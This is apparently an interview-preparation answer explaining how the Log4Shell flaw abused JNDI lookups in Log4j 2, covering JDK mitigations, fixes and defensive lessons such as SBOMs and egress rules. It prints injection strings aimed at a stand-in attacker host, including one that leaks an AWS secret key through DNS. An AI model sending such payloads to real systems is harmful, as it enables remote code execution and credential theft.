Scrivio Interview library
ScenarioIntermediate6 min read · updated 12 November 2026

Explain how the Log4Shell vulnerability abused JNDI lookups, and what that teaches about JNDI in modern Java applications.

Log4j 2 expanded lookups such as ${jndi:ldap://attacker/x} inside logged messages, so logging an attacker's text made the application perform a JNDI lookup against an attacker-controlled LDAP server, which could answer with a reference to remote code that the JVM then loaded and ran. Newer JDKs refuse remote codebases for RMI and LDAP by default (trustURLCodebase is false), but attackers could still abuse deserialization gadgets and local object factories, or simply leak secrets through the lookup. The lessons are to never let untrusted input choose a lookup name, disable JNDI features we do not use, patch fast with an SBOM to find affected versions, and remove JNDI from modern services where it is not needed.

Why this question is asked

Log4Shell (CVE-2021-44228), disclosed in December 2021, was one of the most serious vulnerabilities in the history of Java, because Log4j was everywhere and the attack needed nothing more than getting a string logged. Many companies spent weeks just finding where they used it. Interviewers ask about it to see whether we understand the actual mechanism and draw the right lessons, rather than remembering only "upgrade Log4j". In this answer, we will recap the two features that combined to create the hole, follow an attack step by step, see what newer JDKs changed and why it was not enough, and turn the incident into rules for modern applications.

1A Quick Recap: Lookups and JNDI

Log4j 2 has a feature called lookups: placeholders like ${env:HOME} or ${java:version} that Log4j replaces with a value when it formats a log line. They are useful in configuration files, for example to put a hostname in a file name. The problem was that vulnerable versions, from 2.0-beta9 to 2.14.1, also evaluated lookups inside the log message itself, which is often built from user input.

One of the available lookups was jndi, which called JNDI, the Java naming API. JNDI can talk to several naming systems, including LDAP directories and RMI registries on remote machines, and the result of a lookup can be not just data but a Java object, possibly built from a class downloaded from a URL. So a log statement could be turned into a network call that returns code.

2Following the Attack Step by Step

Imagine a service that logs the User-Agent header of failed logins. That looks harmless.

Java
log.warn("Failed login from agent {}", request.getHeader("User-Agent"));
// Attacker sends:
// User-Agent: ${jndi:ldap://attacker.example:1389/a}
// Log4j 2.14.1 formats the message, finds ${jndi:...} and calls
// new InitialContext().lookup("ldap://attacker.example:1389/a")
Step throughHow a logged header became remote code execution
AttackerOur serviceLog4jAttacker LDAP
HTTP request with ${jndi:ldap://...} in a header
log.warn(... header ...)
JNDI lookup ldap://attacker.example/a
reference: class Exploit at http://attacker.example/
old JDK: download Exploit.class and instantiate it
attacker's code runs inside our JVM

6 messages in order. Play them, or step through them one at a time.

The attacker's LDAP server answers with a reference: a description saying, in effect, the object you want is built by class Exploit, which you can download from http://attacker.example/. On an old JDK, JNDI then downloads Exploit.class and instantiates it, and the static initializer of that class runs with the full permissions of our application. That is remote code execution from a single HTTP header.

3What Newer JDKs Changed, and Why It Was Not Enough

Years before Log4Shell, JDK updates had already closed the most direct path. Since JDK 8u121 for RMI and 8u191 for LDAP (and matching updates of later versions), the system properties com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.ldap.object.trustURLCodebase default to false, so JNDI refuses to load classes from a remote URL. So on current JDKs, the simple download of Exploit.class fails.

But there is a catch. The LDAP server can return a serialized Java object instead of a reference, and if our classpath contains a deserialization gadget, a set of classes that do something dangerous while being deserialized, that can still lead to code execution. It can also return a reference to a factory class already on our classpath, and some application server and Tomcat factories could be abused that way. And even with no code execution at all, a lookup such as ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.example/a} leaks a secret through the DNS query the server makes. So a current JDK reduced the damage, but the only real fix was to stop the lookup from happening.

4The Fixes That Followed

Log4j 2.15.0 restricted JNDI, 2.16.0 disabled JNDI by default and removed lookups from messages, and 2.17.0 and 2.17.1 fixed related issues found while everyone was looking closely. Interim mitigations such as the log4j2.formatMsgNoLookups setting or deleting the JndiLookup class from the jar helped while patches rolled out, but the setting did not cover every code path, so upgrading was the real fix. Today the answer is simply to use a current Log4j 2 release.

Notice that the hardest part for most companies was not the patch but the search. Log4j was often a transitive dependency, shaded inside other jars or bundled in a vendor product, so teams could not answer the simple question "where do we run log4j-core 2.14?"

5What Log4Shell Teaches About JNDI Today

The first lesson is general: never let untrusted input control a lookup name, a class name, a URL to fetch or a template to evaluate. Any feature that turns data into behaviour must only see data we trust. The second is to disable what we do not use: if an application does not need remote JNDI providers, it should not be able to reach them, and egress rules that stop servers from opening outbound LDAP or RMI connections would have blocked most attacks.

The third lesson is about speed. Keep a software bill of materials (SBOM), a machine-readable list of every component and version in each build, in formats such as CycloneDX or SPDX, and scan it continuously, so the question "which services use version X" takes minutes. Then upgrade quickly. Finally, in modern Spring Boot services JNDI is mostly unnecessary, because resources are configured from properties, so we remove JNDI usage entirely outside application servers, and on servers we keep it to local, server-managed names.

6Follow-up questions

Was Logback affected the same way?

No. Logback does not evaluate lookups in log messages the way Log4j 2 did, so it was not vulnerable to Log4Shell. It had a separate, much less severe issue involving JNDI in configuration files that an attacker would need write access to change.

Why did the formatMsgNoLookups flag not fully solve it?

It disabled lookups in the message pattern, but some configurations, such as patterns that use context map values with lookups, could still evaluate attacker-controlled data, which is why later releases removed message lookups and disabled JNDI by default.

How would you find every affected application in a large company?

Use the SBOMs and dependency scanners first, then scan deployed artifacts and container images for log4j-core classes, including shaded copies, because some vendors bundled Log4j inside their own jars. Network monitoring for outbound LDAP connections shows exploitation attempts in parallel.

7Conclusion

In this answer, we saw that Log4Shell combined two features: Log4j 2 evaluated ${jndi:...} lookups inside logged messages, and JNDI could fetch objects, even code, from an attacker's LDAP server. Newer JDKs block remote codebases by default, but deserialization gadgets, local factories and secret leaks through DNS kept the hole dangerous. The lessons are to keep untrusted input away from lookups, disable unused JNDI providers and outbound access, keep SBOMs so we can patch fast, and remove JNDI from modern services.

What to say in the interviewAbout 80 seconds aloud

Open with

Log4Shell worked because Log4j 2, up to 2.14.1, evaluated lookups like ${jndi:...} inside the message being logged, not only in configuration. So if an attacker could get a string logged, for example a User-Agent header, Log4j would perform a JNDI lookup to an LDAP server the attacker controlled.

Then, if they want more

JNDI can return objects, and the LDAP server could answer with a reference saying the class is at a remote URL, so an old JVM downloaded and instantiated the attacker's class, which is remote code execution.

Newer JDKs, since 8u191 for LDAP, set trustURLCodebase to false, so remote class loading is blocked, but that was not enough: the server could return serialized objects that exploit deserialization gadgets on our classpath, or references to local factories, and even without code execution a lookup could leak environment secrets through DNS.

The fix was to upgrade Log4j, where 2.16 and later disabled JNDI and message lookups.

The lessons I take are: never let untrusted input control a lookup name or anything that turns data into behaviour; disable JNDI providers and outbound LDAP or RMI traffic we do not need; keep an SBOM for every build so we can find vulnerable versions in minutes; and in modern Spring Boot services, avoid JNDI entirely, because resources come from properties.

About this answer

Last updated
12 November 2026
Checked
Its structure and format are checked automatically. Use it as a carefully prepared study note: where a detail matters, confirm it against the documentation below. What the checks cover
Where the question comes from
Written by Scrivio for practice. It is not taken from an interview.
Official documentation
Jakarta EE specifications
Report an issue with this answer

Copy the line below and send it to the author with what you found. It carries the address of this page.

Issue with "Explain how the Log4Shell vulnerability abused JNDI lookups, and what that teaches about...": https://scrivio-interview-library.netlify.app/java/jakarta-ee-platform/d431bfa56c/